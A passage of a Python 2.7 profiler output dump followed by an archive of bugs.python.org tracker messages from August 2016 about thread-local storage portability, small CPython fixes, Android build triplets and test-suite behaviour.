/usr/lib/python2.7/rfc822.py:202(isheader) 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1624(parseImpl) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/process.py:94(__init__) 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2550(__str__) 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/xslreg.py:9() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3268(oneOf) 3 0.000 0.000 0.000 0.000 {method 'send_bytes' of '_multiprocessing.Connection' objects} 2 0.000 0.000 0.001 0.001 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3404(srange) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/textwrap.py:8() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1611(build) 12/11 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2429(__str__) 13 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:52(_commit_removals) 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:84(_make_methods) 1 0.000 0.000 34396.962 34396.962 :1() 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1221(get_cache_path) 40 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pkgutil.py:173(__init__) 103 0.000 0.000 0.000 0.000 /usr/lib/python2.7/glob.py:82() 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/encodings/__init__.py:49(normalize_encoding) 66 0.000 0.000 0.000 0.000 {method 'add' of 'set' objects} 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:330(__setitem__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/sysconfig.py:584(get_platform) 36 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2434() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pickle.py:833(Unpickler) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2340(Distribution) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/mimetools.py:33(parsetype) 16 0.000 0.000 0.000 0.000 {method 'get' of 'dictproxy' objects} 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:257(addheader) 13 0.000 0.000 0.000 0.000 /usr/lib/python2.7/_weakrefset.py:26(__exit__) 17 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:838(setName) 75 0.000 0.000 0.000 0.000 {imp.release_lock} 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:125(new) 11 0.000 0.000 0.000 0.000 {_struct.unpack} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2373(And) 8 0.000 0.000 0.000 0.000 {_bisect.insort} 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:126(__init__) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:561(__init__) 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:774(wrapper) 1 0.000 0.000 0.002 0.002 /home2/rack/tmloom/lib/customre.py:9() 1 0.000 0.000 8.782 8.782 /persist/home2/rack/tmloom/lib/utils.py:6371(getProductInvocationsResourcesDict) 26 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/util.py:72(debug) 1 0.000 0.000 0.112 0.112 /usr/lib/python2.7/urllib2.py:411(open) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2770(__init__) 1 0.000 0.000 0.000 0.000 :1(_Version) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/specifiers.py:21(BaseSpecifier) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:1143(currentThread) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/warnings.py:67(filterwarnings) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/calendar.py:47(_localized_month) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/cmd.py:48() 1 0.000 0.000 0.050 0.050 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1706(get_resource_filename) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/StringIO.py:31() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/email/encoders.py:8() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/process.py:86(Process) 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:3421() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:47(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:787(ParserElement) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/textwrap.py:40(TextWrapper) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:542(Event) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:250(__init__) 1 0.000 0.000 0.007 0.007 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/specifiers.py:275(Specifier) 2 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2809(parseImpl) 2 0.000 0.000 0.000 0.000 {zip} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/__future__.py:51() 40 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2555() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/rfc822.py:88(__init__) 11 0.000 0.000 0.000 0.000 {method 'setter' of 'property' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:181(__init__) 18 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:373(__bool__) 2 0.000 0.000 0.000 0.000 {_ssl.txt2obj} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:726(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/collections.py:38(OrderedDict) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1692(_parts) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1719(_get_date_and_size) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/weakref.py:55(remove) 1 0.000 0.000 0.000 0.000 :1(DefaultVerifyPaths) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:91(__get__) 4 0.000 0.000 0.001 0.000 /home2/rack/tmloom/lib/pretty.py:109(tweakChapterReferencingUrisDict) 1 0.000 0.000 0.000 0.000 /persist/home2/rack/tmloom/lib/utils.py:5706(getRunDateMO) 18 0.000 0.000 0.000 0.000 {method 'lstrip' of 'str' objects} 9 0.000 0.000 0.000 0.000 /usr/lib/python2.7/functools.py:39(wraps) 4 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1933(find_eggs_in_zip) 1 0.000 0.000 0.440 0.440 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:621(_build_master) 2 0.000 0.000 0.001 0.001 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1096(parseString) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/quopri.py:7() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/managers.py:692(BaseProxy) 1 0.000 0.000 0.112 0.112 /usr/lib/python2.7/urllib2.py:131(urlopen) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:195(load_module) 2 0.000 0.000 0.000 0.000 {posix.uname} 1 0.000 0.000 0.069 0.069 /usr/lib/python2.7/httplib.py:1082(_send_request) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/UserDict.py:91(get) 19 0.000 0.000 0.000 0.000 {thread.allocate_lock} 2 0.000 0.000 0.000 0.000 /persist/home2/rack/tmloom/lib/utils.py:5722(getRunDate) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:736(__init__) 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/posixpath.py:112(basename) 3 0.000 0.000 0.000 0.000 /persist/home2/rack/tmloom/lib/el.py:88(Path) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/email/iterators.py:8() 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hashlib.py:100(__get_openssl_constructor) 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/reporter.py:2() 1 0.000 0.000 0.006 0.006 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1796(_get_eager_resources) 1 0.000 0.000 0.000 0.000 :1(SplitResult) 1 0.000 0.000 0.003 0.003 /usr/lib/python2.7/multiprocessing/process.py:139(join) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/codecs.py:92(__new__) 7 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1683(_zipinfo_name) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:208(request_host) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:631(Thread) 4 0.000 0.000 0.111 0.028 /usr/lib/python2.7/urllib2.py:399(_call_chain) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/BaseHTTPServer.py:114(BaseHTTPRequestHandler) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2003(__str__) 1 0.000 0.000 0.000 0.000 {method 'send' of '_multiprocessing.Connection' objects} 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2548(from_filename) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/managers.py:473(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib2.py:1123(do_request_) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:285(__enter__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:709(ZipFile) 1 0.000 0.000 0.000 0.000 :1(ParseResult) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1078(splittype) 1 0.000 0.000 0.000 0.000 :1(_ASN1Object) 1 0.000 0.000 0.000 0.000 /home2/rack/tmloom/lib/hubf.py:9() 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/socket.py:196(close) 3 0.000 0.000 0.000 0.000 {method 'close' of '_multiprocessing.Connection' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/atexit.py:8() 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1413(__call__) 4 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:212(_declare_state) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urlparse.py:137(urlparse) 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:1825(charsAsStr) 16 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/ch_formatRegexp.py:99(backslashFirst) 1 0.000 0.000 0.007 0.007 /usr/lib/python2.7/multiprocessing/connection.py:161(Client) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/pickle.py:171(Pickler) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1183(splittag) 36 0.000 0.000 0.000 0.000 {method 'read' of 'cStringIO.StringI' objects} 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1017(__init__) 75 0.000 0.000 0.000 0.000 {imp.acquire_lock} 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:958(__init__) 7 0.000 0.000 0.000 0.000 {method 'read' of 'cStringIO.StringO' objects} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/ssl.py:514(SSLSocket) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/httplib.py:532(_check_close) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/subprocess.py:648(Popen) 1 0.000 0.000 0.000 0.000 /home2/rack/ch_tools/ch_urinorm2.py:340(Urinorm) 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/glob.py:29(iglob) 3 0.000 0.000 0.000 0.000 /usr/lib/python2.7/threading.py:1015(daemon) 7 0.000 0.000 0.000 0.000 {sys._getframe} 2 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hmac.py:109(digest) 7 0.000 0.000 0.000 0.000 {time.time} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/glob.py:71(glob1) 6 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2873(__str__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/keyword.py:13() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/__about__.py:4() 1 0.000 0.000 0.000 0.000 :1(manifest_mod) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:271(ParseResults) 1 0.000 0.000 0.006 0.006 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1533(_get) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/mimetools.py:50(parseplist) 1 0.000 0.000 0.069 0.069 /usr/lib/python2.7/httplib.py:855(send) 5 0.000 0.000 0.000 0.000 {_struct.calcsize} From report at bugs.python.org Wed Aug 31 11:29:07 2016 From: report at bugs.python.org (Erik Bray) Date: Wed, 31 Aug 2016 15:29:07 +0000 Subject: [issue25658] PyThread assumes pthread_key_t is an integer, which is against POSIX In-Reply-To: <1447861816.88.0.632584646231.issue25658@psf.upfronthosting.co.za> Message-ID: <1472657347.15.0.994737682625.issue25658@psf.upfronthosting.co.za> Erik Bray added the comment: Hi, First of all, I should be clear this is not just about CloudABI. In fact I don't even know what CloudABI is. I'm personally working toward getting a working/stable buildbot for Cygwin, so that I can move Python toward supporting it again. Cygwin has not been officially unsupported, but support for it is broken due to lack of a buildbot and lack of a maintainer, both of which I'm willing to offer. I can't get a stable buildbot though until some issues with the build are resolved, and this is a major blocker. If you prefer I can also work on a more formal plan to clarify Python's support for Cygwin which is currently in limbo. Not saying a solution to this needs to be merged ASAP as I can work on a branch, but in the meantime it's nice to have an initial fix for the issue so that it can be worked around--I'm sure other platforms that have this issue, such as the CloudABI folks, will appreciate that as well. Second of all, the point must be made that I'm not suggesting this be changed just in order to support some specific platform. The fact remains that the existing code is misusing the pthread API and is fragile to begin with. "It works on Linux" is not an excuse--not only does it suggest a bias, but the fact that it even works on Linux is an accident of implementation. The implementation of the pthread_key_t type could change tomorrow, and it would be Python's fault if that breaks things (not that I think that's at all likely to happen, though I'd be less surprised if OSX suddenly changed :) As for the performance I agree that PyThread_(get|set)_key_value should be fast. This may be O(n) but how big, typically, is n? In a normal run of the Python interpreter n=1, and the autoTLSkey is always the first in the list. It is only larger if some third-party code is using the PyThread_ API for TLS (and in most typical uses this will only be a few keys at the most, though I couldn't even find any examples in the wild where third-party code is using these functions). n could also grow on forks, or manual Py_Finialize/Py_Initialize. This patch didn't implement PyThread_ReInitTLS but it could, in which case it would reset next_key_id to 0 for each child process. Likewise, PyThread_ReInitTLS could also be called from Py_Initialize, which should be harmless. So TL;DR I'm not really convinced by the performance argument. But even if that were an issue other implementations are possible; this was just among the simplest and least wasteful. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:40:14 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 15:40:14 +0000 Subject: [issue27904] Let logging format more messages on demand In-Reply-To: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> Message-ID: <20160831154010.16740.30328.A8ABFDF0@psf.io> Roundup Robot added the comment: New changeset 5f6dac170b9b by R David Murray in branch 'default': #27904: fix distutils tests. https://hg.python.org/cpython/rev/5f6dac170b9b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:43:24 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 31 Aug 2016 15:43:24 +0000 Subject: [issue27904] Let logging format more messages on demand In-Reply-To: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> Message-ID: <1472658204.27.0.525613108771.issue27904@psf.upfronthosting.co.za> R. David Murray added the comment: Thanks, Ville. ---------- nosy: +r.david.murray resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:44:35 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 15:44:35 +0000 Subject: [issue27909] Py_INCREF(NULL) in _imp.create_builtin In-Reply-To: <1472635589.59.0.774890497222.issue27909@psf.upfronthosting.co.za> Message-ID: <20160831154431.8536.16940.CD8B6C9B@psf.io> Roundup Robot added the comment: New changeset caf547c9e589 by Raymond Hettinger in branch '3.5': Issue #27909: Fix INCREF for possible NULL value https://hg.python.org/cpython/rev/caf547c9e589 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:45:37 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 31 Aug 2016 15:45:37 +0000 Subject: [issue27909] Py_INCREF(NULL) in _imp.create_builtin In-Reply-To: <1472635589.59.0.774890497222.issue27909@psf.upfronthosting.co.za> Message-ID: <1472658337.68.0.558464456791.issue27909@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Thanks for the patch. ---------- assignee: -> rhettinger nosy: +rhettinger resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:46:29 2016 From: report at bugs.python.org (Ed Schouten) Date: Wed, 31 Aug 2016 15:46:29 +0000 Subject: [issue25658] PyThread assumes pthread_key_t is an integer, which is against POSIX In-Reply-To: <1447861816.88.0.632584646231.issue25658@psf.upfronthosting.co.za> Message-ID: <1472658389.03.0.236483700562.issue25658@psf.upfronthosting.co.za> Ed Schouten added the comment: I think that PEP 11 also doesn't rule out changes in this area. For example, consider the paragraph starting with the sentence "This policy does not disqualify supporting other platforms indirectly. [...]" Attached is a patch that accomplishes the same with a constant running time for operations on keys by using an array. Allocation of new keys runs in expected constant time by using a randomised allocation pattern. If we're not big fans of using randomised access, changing this to a linear scan would already be an improvement: keys are only allocated infrequently, but hopefully accessed quite often. ---------- Added file: http://bugs.python.org/file44303/key-constant-time.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:51:17 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Wed, 31 Aug 2016 15:51:17 +0000 Subject: [issue27916] Use time.monotonic instead of time.time where appropriate Message-ID: <1472658676.29.0.976088579174.issue27916@psf.upfronthosting.co.za> New submission from Ville Skytt?: For better immunity against system clock changes. ---------- files: monotonic.patch keywords: patch messages: 274036 nosy: scop priority: normal severity: normal status: open title: Use time.monotonic instead of time.time where appropriate type: enhancement Added file: http://bugs.python.org/file44304/monotonic.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 12:01:58 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 16:01:58 +0000 Subject: [issue27904] Let logging format more messages on demand In-Reply-To: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> Message-ID: <1472659318.34.0.614420084872.issue27904@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: patch review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 12:02:51 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 16:02:51 +0000 Subject: [issue27909] Py_INCREF(NULL) in _imp.create_builtin In-Reply-To: <1472635589.59.0.774890497222.issue27909@psf.upfronthosting.co.za> Message-ID: <1472659371.04.0.289324129081.issue27909@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 12:09:18 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 16:09:18 +0000 Subject: [issue27907] Misspelled variable in test_asyncio/test_events In-Reply-To: <1472625686.63.0.686999719276.issue27907@psf.upfronthosting.co.za> Message-ID: <20160831160913.14094.73745.8D7069F3@psf.io> Roundup Robot added the comment: New changeset 2a748320616b by Guido van Rossum in branch '3.5': Issue #27907: variable rename. (Ville Skytt?) https://hg.python.org/cpython/rev/2a748320616b New changeset c9592e878dfa by Guido van Rossum in branch 'default': Issue #27907: variable rename. (Ville Skytt?) (Merge 3.5->3.6) https://hg.python.org/cpython/rev/c9592e878dfa ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 12:10:21 2016 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 31 Aug 2016 16:10:21 +0000 Subject: [issue27907] Misspelled variable in test_asyncio/test_events In-Reply-To: <1472625686.63.0.686999719276.issue27907@psf.upfronthosting.co.za> Message-ID: <1472659821.47.0.442145305865.issue27907@psf.upfronthosting.co.za> Guido van Rossum added the comment: Thanks! Your attention to detail is appreciated. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 12:42:06 2016 From: report at bugs.python.org (Charalampos Stratakis) Date: Wed, 31 Aug 2016 16:42:06 +0000 Subject: [issue26307] no PGO for built-in modules with `make profile-opt` In-Reply-To: <1454938106.72.0.648611247693.issue26307@psf.upfronthosting.co.za> Message-ID: <1472661726.17.0.875249385281.issue26307@psf.upfronthosting.co.za> Charalampos Stratakis added the comment: Pinging here. Christos could you test the patch? ---------- nosy: +cstratak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:08:10 2016 From: report at bugs.python.org (Erik Bray) Date: Wed, 31 Aug 2016 17:08:10 +0000 Subject: [issue25658] PyThread assumes pthread_key_t is an integer, which is against POSIX In-Reply-To: <1447861816.88.0.632584646231.issue25658@psf.upfronthosting.co.za> Message-ID: <1472663290.86.0.0073551052455.issue25658@psf.upfronthosting.co.za> Erik Bray added the comment: Ah, I wasn't thinking clearly toward the bottom of my last message. I see now that after a fork, _PyGILState_Reinit calls PyThread_delete_key followed by a new PyThread_create_key--in the current version of my patch that would result in putting the autoTLSkey at the end of the linked list, which is no good. That could be worked around, but... Ed's version looks good to me. I had the same idea as an alternative, though was a little concerned with the possibility that the array could grow too large. But as I wrote in my last message that would be an extreme case. And regardless his version will at least maintain constant time, so +1. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:23:02 2016 From: report at bugs.python.org (Matthias Klose) Date: Wed, 31 Aug 2016 17:23:02 +0000 Subject: [issue27917] Choose platform triplets for android builds Message-ID: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za> New submission from Matthias Klose: Following up to http://bugs.python.org/issue23968, I think we should choose different platform triplets for the android builds than we do for the linux builds. Not sure which ones. I saw the following gnu triplets used: - i686-linux-android - arm-linux-androidabi Looking at the two cross compilers from the Ubuntu archive, I see that the arm compiler defines a __ANDROID__ macro, while the i686 compiler doesn't, so it might be difficult to select the correct platform triplet. Could somebody check different compilers (clang as well) to see if this macro is defined? -E -dM - < /dev/null|grep -i android Not sure which architectures else should be defined, but aarch64 comes to my mind as well. ---------- components: Build messages: 274041 nosy: doko priority: normal severity: normal status: open title: Choose platform triplets for android builds _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:23:32 2016 From: report at bugs.python.org (Matthias Klose) Date: Wed, 31 Aug 2016 17:23:32 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <1472664212.31.0.0565208274231.issue23968@psf.upfronthosting.co.za> Matthias Klose added the comment: I don't see how the suggested android fix is related, and what it is supposed to fix. It adds the env command before setting the environment variables, which should be a no-op. However I think we should introduce different platform triplets for android. Please follow-up in http://bugs.python.org/issue27917 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:25:07 2016 From: report at bugs.python.org (Matthias Klose) Date: Wed, 31 Aug 2016 17:25:07 +0000 Subject: [issue27917] Choose platform triplets for android builds In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za> Message-ID: <1472664307.47.0.768536720246.issue27917@psf.upfronthosting.co.za> Changes by Matthias Klose : ---------- nosy: +Chi Hsuan Yen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:25:16 2016 From: report at bugs.python.org (Brett Cannon) Date: Wed, 31 Aug 2016 17:25:16 +0000 Subject: [issue27911] Unnecessary error checks in exec_builtin_or_dynamic In-Reply-To: <1472642557.88.0.0235891214723.issue27911@psf.upfronthosting.co.za> Message-ID: <1472664316.39.0.883516341688.issue27911@psf.upfronthosting.co.za> Brett Cannon added the comment: Patch LGTM. Thanks for catching that, Xiang! I'll commit your fix when I can (might not be until after 3.6b1 since feature improvements are taking priority on my time to make the feature freeze deadline). ---------- assignee: -> brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:27:57 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 31 Aug 2016 17:27:57 +0000 Subject: [issue27911] Unnecessary error checks in exec_builtin_or_dynamic In-Reply-To: <1472642557.88.0.0235891214723.issue27911@psf.upfronthosting.co.za> Message-ID: <1472664477.61.0.66090620081.issue27911@psf.upfronthosting.co.za> Xiang Zhang added the comment: It's okay. Glad that you spare some time to reply. :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:36:42 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 31 Aug 2016 17:36:42 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash Message-ID: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> New submission from Xiang Zhang: When I run test suites I find something interesting. Even if I don't enable gui resource there are still windows flashing. The two tests are test_idle and test_tk. I think the root cause is that they both use test.support.import_module with no reason and then root.update(in _is_gui_available) is called and windows flash. Comment out root.update windows are gone. Is this a must or can we find some way to suppress this? ---------- components: Tests messages: 274045 nosy: ned.deily, xiang.zhang priority: normal severity: normal status: open title: Running test suites without gui but still having windows flash type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:44:44 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Wed, 31 Aug 2016 17:44:44 +0000 Subject: [issue27917] Choose platform triplets for android builds In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za> Message-ID: <1472665484.23.0.300738369664.issue27917@psf.upfronthosting.co.za> Chi Hsuan Yen added the comment: In changeset 46567fda0b29, Xavier defined an autotools variable $ANDROID_API_LEVEL. This can be used to determine whether a specific compiler targets Android or not. ---------- nosy: +xdegaye _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:44:49 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 31 Aug 2016 17:44:49 +0000 Subject: [issue27916] Use time.monotonic instead of time.time where appropriate In-Reply-To: <1472658676.29.0.976088579174.issue27916@psf.upfronthosting.co.za> Message-ID: <1472665489.29.0.443775135144.issue27916@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Some of these look gratuitous to me, possibly a wholesale search and replace without detailed consideration of each change. For example, the quick informational timing in random.py does not have any downside for using the regular time.time(). The changes to asyncio and multiprocessing may be warranted. Davin, would you look at the multiprocessing portion of the patch? Guido, can you nosy whoever the relevant maintainer is for the asyncio niggling details? ---------- nosy: +davin, gvanrossum, rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:46:37 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 31 Aug 2016 17:46:37 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1472665597.17.0.896999817182.issue23591@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Still needs docs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:58:33 2016 From: report at bugs.python.org (Ned Deily) Date: Wed, 31 Aug 2016 17:58:33 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> Message-ID: <1472666313.83.0.669569018029.issue27918@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- nosy: +serhiy.storchaka, terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 13:59:05 2016 From: report at bugs.python.org (Matthias Klose) Date: Wed, 31 Aug 2016 17:59:05 +0000 Subject: [issue27917] Choose platform triplets for android builds In-Reply-To: 